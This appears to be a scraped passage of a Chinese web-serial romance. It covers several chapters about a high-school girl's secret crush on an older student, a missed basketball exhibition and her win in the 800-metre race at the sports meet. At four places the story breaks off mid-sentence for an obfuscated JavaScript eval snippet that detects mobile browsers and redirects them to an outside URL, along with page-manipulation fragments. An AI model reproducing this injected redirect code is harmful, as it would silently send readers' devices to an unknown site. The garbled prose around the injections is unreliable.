一中坐落在繁华地带,附近一直很热闹,周五下午吹响周末的号角,各个店铺挤满了人。一眼望不到头的人群里,云昭隐匿其中,看到一个出挑的身影。 不,是两个。 裴至峤和梁斯年站在一起,梁斯年笑嘻嘻的跟裴至峤说着什么,好像要约他打篮球。 云昭对梁斯年不熟,唯一的了解是虞岁发给她的表白墙,梁斯年是和裴至峤并列的常客,青春期的女孩子或许也喜欢梁斯年这种有点痞的,不守规矩却又十分耀眼优秀的男生。 梁斯年往后看,或许是瞧见了云昭,问起裴至峤:“周三那天你在楼道安慰的学妹是不是云昭?” 裴至峤这才有兴趣的抬眼看了一眼梁斯年,没承认也没否认,“你管那么多干什么?” 后半段的对话云昭没听到,六路公交车到站,她被人群挤着上车,汽车启动前,云昭抓着扶手,视线越过车窗。恰好此时,裴至峤因梁斯年的话向车上望了一眼,彼此视线交汇一秒。 他的眉眼永远温柔含情,云昭每每对上他的目光,总是颤动,却又强烈不安,怕自己眼神太炽烈,叫他发现她的小心思,于是每次都快速躲开。 云昭很想知道裴至峤会怎么跟朋友解释那天晚上,却又害怕裴至峤的解释和她想要的不一样,害怕裴至峤说她和其他人没什么不同。但那晚真真切切的存在过。 云昭想,这就够了。 公交经过五个站点,云昭在梨园路下车。容积率极小的洋楼小区植被茂密,云家在小区中段,门前种了一棵海棠,一直延伸到二楼云昭房间的窗外。 云昭开门进屋,还没来得及换鞋就听到一阵男人说话的声音。抬头往客厅里看,云景志在看黎梦秋试衣服,夸她穿着好看。 难怪黎梦秋叫她早点回家,原来是云景志出差回来了。云昭高兴的叫云景志:“爸爸,你回来了!” 云昭上次见云景志是在开学前,他出差一个多月,云昭很想他。即使每年都是这样,云景志有三四个月不在家,云昭却始终不习惯,觉得云景志不在家就不完整。 云景志和黎梦秋听到云昭的声音,纷纷放下手里的东西,一个接过云昭背上的书包,一个把礼物放到云昭面前。 Steiff联名款的泰迪熊,云昭一直很想要,但国内买不到,云景志特地从德国带回来。云昭原本没想让云景志特地去买,她已经有很多只Steiff的泰迪熊,这只对她来说是意料之外的惊喜。 云景志问:“开心吗?” 云昭笑着点头,对毛绒质感爱不释手,“开心,谢谢爸爸妈妈!” 黎梦秋说开心就好,看见云昭笑,她也开心。 云景志笑着摸云昭的头:“昭昭,如果遇到什么不高兴的事要和爸爸妈妈说,你妈妈这几天很担心你。” 黎梦秋发现云昭这几天很沉默,晚上一回家就在房间里看书做题,凌晨才睡下。黎梦秋有时敲门给云昭送水果和宵夜,看见云昭对着什么东西发呆,在感受到她进来后,又将手里的东西飞快收起,不想让黎梦秋发现。 黎梦秋不是掌控欲极强那种家长,她没有打探云昭的秘密,只是一直没什么好胜心的女儿突然不要命的用功,黎梦秋很担心云昭是不是出了什么事。 云昭心想,其实也没发生什么,发生的那些都是不能跟爸爸妈妈说的事。 “我考试没考好,所以想更努力一点,让妈妈担心了。” 黎梦秋安慰云昭:“一次没考好没关系,离高考还有时间,我们慢慢学就好。况且人生不止读书这一条出路,爸爸妈妈会永远在你身边。” 云昭笑着:“我知道的妈妈。” 云景志和黎梦秋只有云昭一个女儿,尽量满足云昭想要的一切,只希望她过得健康幸福。小时候云昭想学钢琴学跳舞,黎梦秋就陪云昭去上课,后来读初中课业繁重,停了兴趣班,云昭对德语有兴趣,黎梦秋和云景志抽出时间亲自教导。 他们对云昭没什么要求,能做她喜欢的事情就好。云昭一直在幸福的氛围里长大,没有负担的认真读书,成绩很好。十六年里,她唯一想要努力保持的,是和裴至峤同时出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241910|197773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在光荣榜的名字。 黎梦秋朝云昭招手,“快来尝尝我新做的蒙布朗。” 云昭回神,闻到栗子味很香浓,这是她最喜欢的一款甜品,她伸出手又收回,问:“这个热量是不是很高、很容易长胖啊?” 女孩子无论什么时候都在意自己的外貌,特别是青春期时,刚刚云昭想到裴至峤,让她更在意自己的形象。 黎梦秋很理解云昭的顾虑:“我用的脱脂奶油,不会长胖,可以多吃一点。” 云昭一口咬下栗子泥做的顶,用和蒙布朗一样甜的声音回应:“好。” 甜品和泰迪熊的双重安慰下,云昭这些天的低落一扫而空,觉得空气都是甜腻的味道。 云景志帮黎梦秋一起做晚饭,云昭把泰迪熊拿回房间,和其他的玩偶一起摆在床上。饭后,一家人去超市添置日常用品,云昭和妈妈手挽手,云景志推着购物车。 路过纸巾区,云昭看到了一个眼熟的绿色包装摆在货架上,忽的想起那晚向她伸来的那只手,手指修长,皮肤洁白。 “妈妈,我们买这个吧。” 黎梦秋看见云昭放在推车中的纸巾,疑惑的问起:“你不是只喜欢印着花纹的纸巾吗?怎么突然想换这个了?” 云昭有点答不出来:“就……” “那天同学找同学借纸巾,觉得这个挺好用的。” 云昭不擅长撒谎,半真半假的话也说得支支吾吾,好在黎梦秋没追问,随她喜欢。 超市买的其他东西被黎梦秋放到储物柜,云昭把那包纸巾单独拿进自己房间放着。 鲜绿的包装扎眼,像春天的颜色。大包里装着小包纸巾,云昭抽出一张,纸巾没有任何香味,散发着原始的木头的味道。 云昭是个爱美的姑娘,所有东西都要挑好看的买,包括纸巾,她之前随身带的是印着碎花、散发花香味的纸巾。突然换了品牌,因为这是裴至峤同款。 喜欢一个人就是连他的细枝末节都格外在意,拼命想融进他的生活里,哪怕只是纸巾这样的小事。 那晚裴至峤借给她的纸巾在云昭书桌的抽屉里放着,和纸巾放在一起的,还有裴至峤遗落的校牌。 淮川一中的校牌是亚克力材质,印着学校的校徽和学生的姓名。裴至峤的校牌上有很重的使用痕迹,产生了很多划痕,层层叠叠的错落在这小块亚克力上。 校牌落在裴至峤那晚蹲着的楼梯边,重重的摔了一下,云昭看见后捡起,本想还给裴至峤,却发现已经摔坏了。一条大裂横亘在名字中间,摇摇欲断,即使还给裴至峤,也无法再用,云昭将它带回了家。 因为那晚的相处太美好,以至于云昭觉得亚克力上的划痕都像刻意打磨的艺术,每一条都是裴至峤的痕迹。校牌戴在左胸口处,曾无数次听过裴至峤心跳的声音。 云昭将校牌握在手里,她想,这样是否也算感受过他的心跳。 9. 后悔 「忽明忽暗的高中时光里,我最后悔的是去年运动会时生病请假,只能听别人讲述他在球场上的英姿勃发。物是人非的比赛里,我或许没缘分见到他打篮球时的少年意气。」——@福音书与祷告文 下周是国庆长假,本周调休只放周六一天假,周天,云昭返校上课。 月考成绩已经全部出炉,新鲜的榜单贴出来,大课间时光荣榜前挤满了人。云昭和虞岁也挤在人群里看榜。 高三的榜贴在最前面,云昭一眼就看见文科第一名裴至峤,理科第一名梁斯年。紧挨着的是高二的榜单,云昭是文科第五名。 除了数学,云昭其他科成绩都很好,语文英语稳坐年级第一,文综排在年级前三,即使数学不理想,综合起来也能让她在光荣榜上有一席之地。 云昭数着她和裴至峤的距离,差了四排,好像不远,却又很难做到。她只有考到年级第一才能和裴至峤并列。 高一时,云昭曾有两次和裴至峤并列,出现在各自年级第一的位置上,一起在国旗下分享学习经验。云昭很珍惜这种可以和裴至峤正大光明接触的机会,她希望在裴至峤剩余不多的高中时光里,她还有机会这样和他站在一起。 看完榜单,云昭和虞岁一起回教室,走到中途,虞岁被班主任叫到办公室。 虞岁紧张兮兮的过去,满面笑容的回来,趁着大课间时间长,在班里宣布即将要举办的运动会。 “有意向参加项目的同学可以来找我报名,每个项目两个名额,武老师希望我们每个项目都能报满,无论拿不拿奖,大家重在参与。” 一石激起千层浪。 关于月考的话题告一段落,教室里各种声音激烈讨论着运动会这个难得的机会,可以做很多平时不方便的事。可以化妆穿短裙,可以名正言顺的摸鱼,还可以去看暗恋的TA。 这几件事里,云昭只对最后一件有兴趣。但可惜的是,虞岁说高三按惯例不参加运动会。 云昭泄了气,闷闷的趴在桌上。 班里依旧很热闹,不少人来虞岁这里报项目,轻松点的项目很快被报满。 上午最后一节课结束,云昭还在失落。虞岁为了治愈云昭受伤的心灵,特地拉她去校门外的小炒店吃饭。这是云昭最喜欢的一家店,预制菜横行的时代,明厨现炒太能激起人的食欲,当然,价格也很美丽。 虞岁在云昭脸上戳了个笑脸,说为了哄她可是下了血本,“一次运动会而已,以后见到裴至峤的机会多着呢,不差这一次。乖,我们别不开心了啊。” 云昭还是高兴不起来,且不论裴至峤已经高三,云昭见他一次就少一次,更何况:“去年运动会我就没参加,可惜今年也见不到他。” 去年运动会,按惯例在国庆之后举办,可惜当时流感盛行,云昭很不幸中招。运动会当天,开幕式盛大,云昭却在医院吊水,高烧三天完美错过所有项目。 文科班男生不多,几个难度比较高的项目很少有人报名,裴至峤作为班长,承担了很多没人报的项目,一千五百米,三级跳,接力赛他都有参加。三天里每天都有他的项目,每次都有一群人围在旁边,每篇加油稿都有他的名字。 怎么去形容去年的运动会呢?有人说,那是喜欢裴至峤的人的一次狂欢。 但那场狂欢里没有云昭,在欢呼声最热烈的时候,云昭正在输液室里。 那时云昭并不觉得错过这场运动会是件很可惜的事,她以为高一高二的运动会没有什么不同,她以后还有机会参加,不会留下遗憾。 可在下一次运动会开始前,她喜欢上了裴至峤。她开始关注他,顺着痕迹摸索,找到了那些出自运动会的照片。 高清镜头的抓拍下,裴至峤的脸依旧,丝毫没崩,原图直出的照片比网络上那个热度超高的偶像剧小生还要好看。 可照片和现场不能比,即使在照片里见过裴至峤奔跑的样子,云昭还是想亲眼目睹。 从那天起,云昭开始后悔,自己去年运动会请了假。今天,这份后悔达到顶峰。 虞岁跟着云昭一起叹气:“没办法,谁让学校这么规定呢,觉得高三少学一天就要完蛋。” 高三太多帅哥美女,裴至峤、梁斯年、司佳恩、以及早已离校的韩萧雨,个个都是表白墙上有名有姓的人,为他们无法参加而遗憾的学弟学妹太多,连虞岁也觉得没有他们都不完整。 云昭没继续搭话,高三不参加运动会是心照不宣的规定,她没办法去改变这项规定,也没办法让裴至峤单独参赛。 往日里觉得好吃的小炒今天食之无味,云昭胃口不好,没吃几口。 午饭后回教室,运动会的通知已经张榜,紧挨着的,是篮球联赛的通知。 淮川市高中篮球联赛一般秋天开赛,和一中运动会的时间接近,云昭知道裴至峤是篮球队的成员。 去年联赛在运动会结束的第二天开赛,云昭那时还病着,请假使得她根本没关注也没看到比赛。今年的初赛则安排在国庆假期的最后两天,云昭有时间去观赛。 一中追求德智体美劳全面发展,不仅在竞赛奖项和重本数量上远超其他高中,更是篮球联赛冠军的有力争夺者,去年在梁斯年的带领下,一中成功拿下第一名。夺冠的照片在学校官网挂了很长一段时间,云昭看见过。 云昭想:如果她注定无法见到运动会上的他,那她是否有机会见一次篮球场上的他? “你们说今年梁斯年和裴至峤还会不会继续打啊?” “应该不会吧,就高三这运动会都不参加的架势,怎么可能让他们去打联赛!” 云昭听到班里女生在议论,她敏锐的捕捉到裴至峤的名字。但听到她们说裴至峤不参赛,球队主力全是高二的学生,心又沉下去几分。 “去年联赛在我们学校打,你去看没?” “当然看了,梁斯年直接把国高那几个按在地上摩擦。” “还有裴至峤,那几个三分投得太帅了!” 几个女生围在一起,滔滔不绝的说着去年的联赛,云昭打开练习册却没动笔,默默听着她们提起她没参与到的有关裴至峤的所有,拼凑着她未曾见过的那部分他。 从她们的话里,云昭得知裴至峤的球衣是七号,打的位置是前锋,三分球投得很准,有一场连续投了五个三分力挽狂澜。 那场结束后,很多人给裴至峤送水递毛巾,连国高来观赛的女生也倒戈,情书一摞一摞的送到裴至峤那里。 “不过裴至峤好高冷,没收任何一个人的东西。” “梁斯年不高冷,他什么都收,你去给他送。” 午休期间,几个女生嬉笑着,把去年篮球赛的事儿数了个遍,云昭低着头静静听,不敢把眼神投向那些话题的方向,怕心事被人发觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241911|197773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 正午的阳光照得人懒洋洋,云昭趴在桌上,比上午更失望、更后悔,她去年只请假了五天,却好像错过了裴至峤的所有。运动会、篮球赛,她无法见证属于他的那些精彩又深刻的瞬间,只能听别人说他在篮球场上的英姿勃发。 运动会带来的兴奋气氛持续了很久,一直到国庆放假前的最后一天。 项目报名即将截止,武滢催促虞岁赶紧将名单上报。虞岁却犯了难,在座位上急得团团转。 “昭昭,要不你行行好,把八百米报了吧。” 虞岁双手合十拜托云昭,就差给云昭跪下,把她当救苦救难的观世音。 “怎么了,项目没报满吗?” 其实云昭前天已经在虞岁的恳求下报了一个没人参加的混合接力赛,没想到项目还是没报满。 虞岁说:“其他项目基本都报满了,连男子一千五都有人报,只有这个女子八百米没一个人想去!” 男生那边有体委顶着,虽然不是每个项目都满人,但都有人去。女生项目上谁也不想去吃八百米的苦,体育老师发话,必须有一个人去,如果没人报名就得虞岁顶上,谁叫她也是体委。 “昭昭,你知道的,我这个小身板根本跑不了八百米。” 虞岁一边可怜兮兮的假装擦眼泪,一边拍云昭马屁:“昭昭,你可是我们班八百米第一名,行行好救救我吧!” 云昭心软,根本经不住虞岁这一套求人连招,一下就答应了,反正跑八百米对云昭来说没多难。想起体育课上虞岁测八百时快死了的样子,云昭不忍心让好姐妹再受一次罪。 虞岁填好名单去交表,嘴里还在骂着体育老师。她当体委是意外,体育老师说她体能太差要锻炼锻炼,她就莫名其妙当上体委了。 云昭陪虞岁一起出教室,听她说些语出惊人的话,一时止不住笑意。 体育办公室不在教学楼,在操场旁边,所有体育老师在一起办公。文一班的体育老师对虞岁印象很深,看她踩着最后的时间来交表,问她是不是没找到人跑八百,准备自己上了。 虞岁心里咬牙切齿,表面假笑着回应:“我们班有人报八百了呀!” 她把站在身后的云昭推出来:“她报了八百米。” 体育老师似乎对云昭也有印象,虞岁在一旁补充:“云昭可是我们班八百米测试第一名,跑进三分钟内的人,运动会绝对没问题!” 摆脱恶魔项目的虞岁很开心,云昭却被说得不好意思,特别是在体育老师说完“那就期待你们班运动会的成绩”之后,紧张到手心出汗。 出了办公室,云昭才敢问虞岁:“完了,你在体育老师面前说得信誓旦旦,我压力好大。要是跑不好怎么办?” “我可没夸大其词,说的都是事实好不好?再说,跑不好也没关系,有人肯去就不错了,他还敢挑三拣四!你放轻松,我到时候就站旁边给你加油!” 虞岁比出一个加油的手势看着云昭,云昭被她略显中二的样子逗笑。 走到操场,有的班在排练开幕式队形,一个熟悉的身影从身边掠过。 云昭的目光下意识追随他,看见裴至峤往体育办公室的方向走。但她还没来得及反应裴至峤的突然出现,上课铃就响了。 经过他身边时的味道散在空气里,云昭被虞岁带着一跑,扑面而来的风里都有属于他的皂角香气。 10. 缘分 交完表回来是武滢的课,看在云昭的份上,她们迟到了但没挨批。武滢把矛头转向其他话题,让班里都安分点,毕竟运动会还没正式开始。 不过武滢的话没用,大家该躁动还是躁动,国庆假期紧接着运动会,将近半个月的长假,没人能静下心来听课。连云昭也是。 午休时,云昭一直在想裴至峤,越想越失落,直到昏昏沉沉的睡着。 她想:如果他今年能再打一场就好了,只打一场就好。云昭很想知道,那些女生说的他投三分球时候的侧脸到底有多好看,他发力的肌肉线条到底是怎样的完美。 下午上课前有个人冲进教室的声音很大,把云昭吵醒,那人的话更让她一下清醒,再无睡意。 “特大好消息!今天下午联赛有场表演赛,去年的冠亚军去国高打,听说裴至峤和梁斯年也会去!” 班里又掀起一股热潮,七嘴八舌的说着放学后要不要去看国高,商量着要穿什么衣服化什么妆去给裴至峤和梁斯年“应援”。 云昭听完后想也没想就决定要去,今天她不用值日,放学后马上从一中打车去国高,应该能看上这场表演赛。 心情忽的晴朗,云昭忍不住勾起嘴角,期待第一次目睹裴至峤在赛场上意气风发的样子。 大假前放学会提前,云昭头回像今天这样早早收拾好书包,准备等班主任讲完安全教育就出去打车,想想裴至峤现在应该已经到国高体育馆做热身了。 虞岁国庆要和父母去度假,今晚的机票,很抱歉没办法陪云昭去国高看比赛。云昭觉得没关系,只要能见到裴至峤上场就好,虞岁骂她一句“见色忘友”,但云昭笑得太甜,虞岁生不起气。 武滢说完必要的放假事项,话音一落,班里的女生立刻行动,成群结队的往外走,都是去国高看表演赛的。云昭和她们一样,背起书包准备离开教室。 脚还没挪动,武滢的声音就传来:“云昭,丁老师让你去办公室找她。” 计划突然被打乱,云昭只能调转脚步往办公室去。云昭不知道丁菡为什么找她,上回月考她语文考得很好,不至于像葛文斌那样因为成绩跟她谈话。 丁菡看见云昭来,脸上是笑着的:“云昭,你上次月考的作文写得不错,已经被刊在校报上了。这次找你来是想跟你说说比赛的事。” 淮川市的作文大赛,今年改了规则,变成推荐制,丁菡这里的名额理所当然的先留给了云昭,叮嘱她:“国庆假期长,你好好准备准备,拿个一等奖应该没问题。这次市赛的成绩关系到下学期国赛的资格,高三不参赛,学校希望你能保持上次的成绩,为一中拿奖。” 高三不参赛,一中相当于损失了一员大将,裴至峤不在,挑大梁的变成云昭。 云昭接过报名表:“谢谢老师,我会好好准备的。” 丁菡没再说其他,云昭也走得很快。 下楼时,学校基本没人了,云昭在校门外坐上出租车,看了看时间,离开赛只剩五分钟。从一中去国高的路程在不堵车的情况下至少需要十五分钟。 很不巧,放假前一天下午的晚高峰堵到让人怀疑人生,市中心的街道上,汽车尾灯连成一片红。 云昭不过是在办公室耽误了五分钟,却要多花七倍的时间在路上。 表演赛早已开赛,出租车行驶到离国高最近的路口时,比赛已经来到最后一节。还有十分钟,整场表演赛就要结束。 云昭思考了一秒,果断付了钱下车,准备走过去。国高校门开放,她很容易的进去,却迷失在偌大的校园里,找不到体育馆在哪里,她还因此撞到了个人。 一个很高很漂亮的女生站在云昭面前,没计较云昭撞到了她,还给云昭指体育馆的位置。 国高作为富家子弟聚集地,面积是一中的好几倍,云昭只好跑着去体育馆。 进去的那一刻,云昭还没来得及压下紊乱的呼吸,却正好听到裁判的哨声。 比赛结束了。 一中以微弱的分差赢下国高,裴至峤穿着白色的七号球服在和梁斯年击掌。旁边一中的学生说这回他们手下留情了,毕竟是表演赛,没把国高打得太难看。 云昭听不到欢呼声,她望向裴至峤的方向,只知道自己又一次错过了机会。 站在观赛台,下面的座位已经坐满,很多人站着在看比赛。云昭身高不算很高,在人群中不出挑,但眼神炽热,让接收到她目光的人想不注意都难。 篮球场的另一侧,一中的队员拿着毛巾在擦汗,起哄的说梁斯年今天赢了比赛得请客吃饭。 “请就请,今天的消费都我买单!” 此话一出,其他人继续起哄,说“梁少大气”。 裴至峤在喝水,梁斯年叫他一起去吃饭,裴至峤没来得及说话,余光瞥见观众席。 他感受到一股强烈的关注,抬头就看见一只目光灼烈的“小地鼠”,在他看向她后,猛的缩回洞里,很可爱也很胆小的身影躲避着他的视线。 裴至峤觉得很有意思,浅笑着,只好不再看她,余光里却始终闪烁着她的影子。 司佳恩和梁斯年在一旁闹,司佳恩阴阳怪气的问梁斯年今天又有多少女生给他递情书,梁斯年坏笑着不肯告诉他,一把将裴至峤拉到前面抵挡攻击。 裴至峤才不参与他们之间的闹剧,迅速躲闪到一边,看司佳恩收拾梁斯年,过了好一会儿这场风波才平息。 “阿裴,和我们一起去吃饭呗。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241912|197773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 梁斯年看见裴至峤不等他们就要走,把他叫住。 裴至峤本想摇头拒绝,却没敌过梁斯年的手快,一下就把他拉走:“上次聚会你就没去,这次不准再缺席了!” 梁斯年振振有词,司佳恩一起附和,裴至峤这回非去不可。他在人群包围中艰难的转过头,看到观众席正在散场。 云昭在国高的体育馆只待了几分钟,没看到裴至峤在场上的样子,就要随着人流一起离开。 出走之前的最后一眼,依旧望向了裴至峤的方向,无袖的球衣套在他身上,显出手臂流畅的肌肉线条,额间还有剧烈运动后的汗水没有擦干。 裴至峤身边围着很多人,他们笑着说着话,云昭只知道其中几个的名字,但云昭平等的羡慕在裴至峤身边的每一个人,可以离他那么近。 不甘和失落夹在一起,云昭越发觉得她和裴至峤之间太遥远,不只是篮球场和观众席的距离。 他们好像总是错过。 就像此刻,云昭错过这场表演赛,也错过他看过来的眼神。 国庆长假在做题和难受中度过,月亮阴晴变换,一天比一天圆满,云昭握着残缺的校牌,觉得那天晚自习的弯月最好看。 虞岁在国庆的最后两天回淮川,一回来就拉云昭去国高体育馆凑篮球联赛的热闹。 云昭不解,问虞岁:“你很喜欢看篮球赛吗?怎么每天都拉我来看?” 虞岁头上隐约出现三道黑线,表情无语:“我是陪你来看的好吗!是谁在电话里哭唧唧跟我说那天没看到篮球赛好伤心?” 云昭解释:不是没看到篮球赛伤心,是没看到裴至峤伤心。她对篮球不感兴趣,顶多只能看出谁投中了得了分,她感兴趣的只是打篮球的那个人而已。 因为喜欢他,所以去尝试接近那些本不会在自己生活里出现的东西。 “哎呀,来都来了就看看呗,万一哪一场裴至峤就上场了,反正在假期,高三的要来替补两场学校也拦不住。” 云昭想想,觉得虞岁说得对,万一裴至峤在某一场比赛措不及防的出现呢? 她耐着性子看了两天比赛。 一中今年联赛打得不太好,对上国高的两场都输了。国高那边今年有个打得很好的球员,叫谈嘉益,观众席一直在喊他的名字。云昭注意到他,是因为他旁边站着那天给云昭指路的那个很高很漂亮的女生,云昭记得她。 不过很可惜,虞岁没说中,两天的联赛里没看到裴至峤的身影。 这场物是人非的比赛里,云昭想,她是不是永远都无法见到裴至峤打篮球时的少年意气。 或许,她就是没有看他打球的缘分。 也可能,是缘分还没到时候。 11. 意外 「永远不知明天与意外哪个先来,只知道今天阳光明媚,我站在塑胶跑道上,他意外的出现在我面前。他的肩膀宽阔平直,手臂坚实有力,我感受着他的体温、他的呼吸,忘记了腿上的伤痛,体会一种叫小鹿乱撞的情绪。」——@福音书与祷告文 返校后运动会如期举行,挺过复杂冗长的开幕式,全校进入真正的狂欢。操场边的一圈台阶被坐满,各班分了位置,文一班旁边坐着理一班,几个人几个人的围在一起聊天。 上午剩下的时间不长,没什么项目,虞岁和云昭坐在一起,生活委员给大家分水果和零食。 不少同学去卫生间换下了开幕式时候的校服,换上自己的漂亮裙子,粉底口红全往脸上招呼,势必要在学生时代最后一次运动会上留下人生照片。 云昭没换衣服,也没心情化妆,拿了本小说专注的看着,虞岁去安排下午的项目。文娱委员坐在云昭前面一排,换了衣服化了妆正和小姐妹商量着拍照。 “你带相机了吗?” “带了带了,我跟你说,这个拍人像特别好看!” “去年你拍裴至峤就是用这个拍的吧?” “对,内存卡没换,应该还能看到那些照片。” 文娱委员专心致志的翻相册,云昭被她们提起的名字吸引,怎么也看不进去小说了。 “就是这个,怎么样,拍得好吧?” “我的天太帅了!这侧脸太完美了吧!今天我就要拍这样的,你一定得给我拍出来!” “放心我的技术,绝对给你出片!” 云昭坐在更高一级的台阶上,没和她们一起聊,却很容易的看到她们相机里的内容。那拍的是裴至峤长跑时候的照片,发丝被风带起露出额头,有种温润以外别样的飒气。 云昭想,打篮球的裴至峤应该也是这样的,很帅,很让人心动,她光是听形容就止不住怦然。 暗恋就是这样,她装作不关注他,从不参与关于他的话题,心却已为他翻涌千万次。 下午是田径项目预赛,云昭陪虞岁一起带班里同学去检录。 “你看,那是不是裴至峤?” 喧闹环境中有道尖锐的声音,让云昭的目光挪了位置。主席台旁短暂停留的身影,距离三十米开外,让人看不真切。 云昭却认出,那就是裴至峤。 “裴至峤来操场干嘛?他们不是不参加运动会吗?” “这谁知道?” 没人知道。 裴至峤没过一会儿就走了,然后整个下午都没再出现。 云昭知道,之后几天或许不会再有见到裴至峤的机会,她格外珍惜这次碰面。 惊鸿一瞥的遇见让人沉溺,云昭为这一眼心跳乱了一整天。 短跑预赛过后,复赛和长跑项目排在第二天,女子八百米在下午,云昭提前换好了运动服。 操场人声鼎沸,裁判的哨声和各种加油与欢呼声融在一起,构成运动会最高潮的部分。广播里念着加油稿,各种小心思藏在短短的稿纸里,是只有某人能知道的暗号,是青春期独有的、不能为人所知的秘密。 虞岁说去年有好多人借着加油稿的名义给裴至峤表白,被教导主任听到,但稿纸没有署名,不知道具体是谁写的,所以整个班都被批了。 后来教务处严令禁止这种行为,非但没有压下这种风气,反倒让这种事以更隐晦的形式呈现,五花八门的加油稿宣示着学生时代最纯粹的喜欢。 云昭无法送出那份藏着独特心思的稿纸,她甚至想好了给他的加油稿怎么写,他却不参加比赛。云昭埋头为班里其他同学写加油稿,稿子写完交给虞岁,她统一交去主席台。 没过一会儿,广播声传来:“请女子八百米参赛人员到检录处检录。” 云昭把书收进包里,虞岁刚好回来,陪她一起去登记拿号码牌。 八百米要跑完整的两圈,起点亦是终点,其他项目遗留在跑道上的道具被清空,内侧站着裁判和登记员。 那个登记员云昭太熟悉。 ——是裴至峤。 “云昭同学,这是你的号码牌。” 他的声音像清泉,在沸反盈天的比赛现场,冲刷掉太阳天的燥热。 云昭抬头看他含情的眼睛,阳光明媚的下午,在即将要开始的八百米的跑道上,裴至峤的出现太意外。 布料上写着鲜红的数字六,云昭愣神忘了接过来。虞岁在心里偷笑好姐妹犯花痴,一边接过号码牌,帮云昭戴在身上。 云昭无法挪开的目光紧紧看着裴至峤那双情绪丰沛的眼睛,不由自主的问出了那句:“你怎么在这里?” 因为惊讶,云昭丢掉了平时需要仔细酝酿的矜持的交流方式,语气熟捻,似乎他们关系亲密,但事实上,他们并不算熟悉。 话出口的那刻,云昭暗自懊悔自己有点越界。 裴至峤好像不在意这点越界,和她解释:“裁判人手不够,我来帮忙。” 云昭以为这段短暂的交集到此为止,没想裴至峤又出了声,他祝福她:“比赛加油。” 短短四个字,让云昭平静的、甚至说低落的心情重新雀跃。 没有什么比裴至峤亲口说的加油更能激励她。 昨天晚自习,云昭回味下午的匆匆一见,想明天裴至峤会不会再出现在操场。 课桌上摆着一本《人民日报文摘》,随手翻开一页,上面的第一句是“永远不知明天与意外哪个先来”。 这句话本多用来写遗憾,写珍惜当下,但此刻站在红色跑道上的云昭觉得,这句话也可以用来形容惊喜。 裴至峤的忽然出现于她而言,是意外,亦是惊喜。 云昭站在起跑线前,裴至峤往前走了几步,在离跑道很近的内侧,应该是要帮裁判登记运动员成绩。 发令枪响那刻正好有风吹来,云昭被这阵风推着往前,背离了起跑线,冲在队伍最前端。 同样被那阵风惊扰的,还有裴至峤。他抬头去寻找,只看见云昭跑远的背影。 她的速度超乎他想象的快。 云昭身高165,比例很好,身材符合专业舞蹈生的选拔标准,头小、四肢纤长,加上较为偏瘦的体型和可爱的长相,让她看起来像是体育很难及格那种女生,却不想她是高二女子八百的领先人物,一直保持在队伍第一名。 云昭第一次经过终点时,因快速奔跑带起来的风拂过裴至峤的脸庞,额前的头发被吹得往后,露出光洁的额头。 裴至峤这回看清了穿着白色运动服的云昭,马尾辫随着奔跑一甩一甩的,形成一个漂亮的弧度。那瞬间主动权调换,他的目光追随她,从跑道这头到那头。 今天,金黄的光斑逊色于温柔而短暂的微风,大概没有哪阵风会比此刻更撩人心弦。 第二圈,云昭的速度稍微放缓,但依旧保持领先。跑过最后一个弯道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241913|197773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,离终点还有一百米。 这一段路里,很多人站在跑道旁喊着加油,虞岁也在,云昭听到了虞岁歇斯底里的声音混合着风传入她的耳朵,但她听得不真切。 云昭只看见前方裴至峤拿着登记表的身影,她每往前迈一步,裴至峤的身影就清晰一分。为了离他更近一点,云昭加速冲刺着最后的一百米。 最终,云昭以两分五十三秒的成绩拿下第一。 终点线前,虞岁拿着水杯喜不自胜,大声为云昭庆祝:“天呐昭昭!你是第一名!比上次还快!” 云昭喘着气,奔过终点后脑子一片空白。她只知道裴至峤在终点等她,所以她越跑越快,只是想到他面前。 转头看向拿着表认真当裁判的裴至峤,云昭不知道这个第一名是不是该算裴至峤的一份功劳。因为他站在终点,云昭突破了自己的八百米纪录。 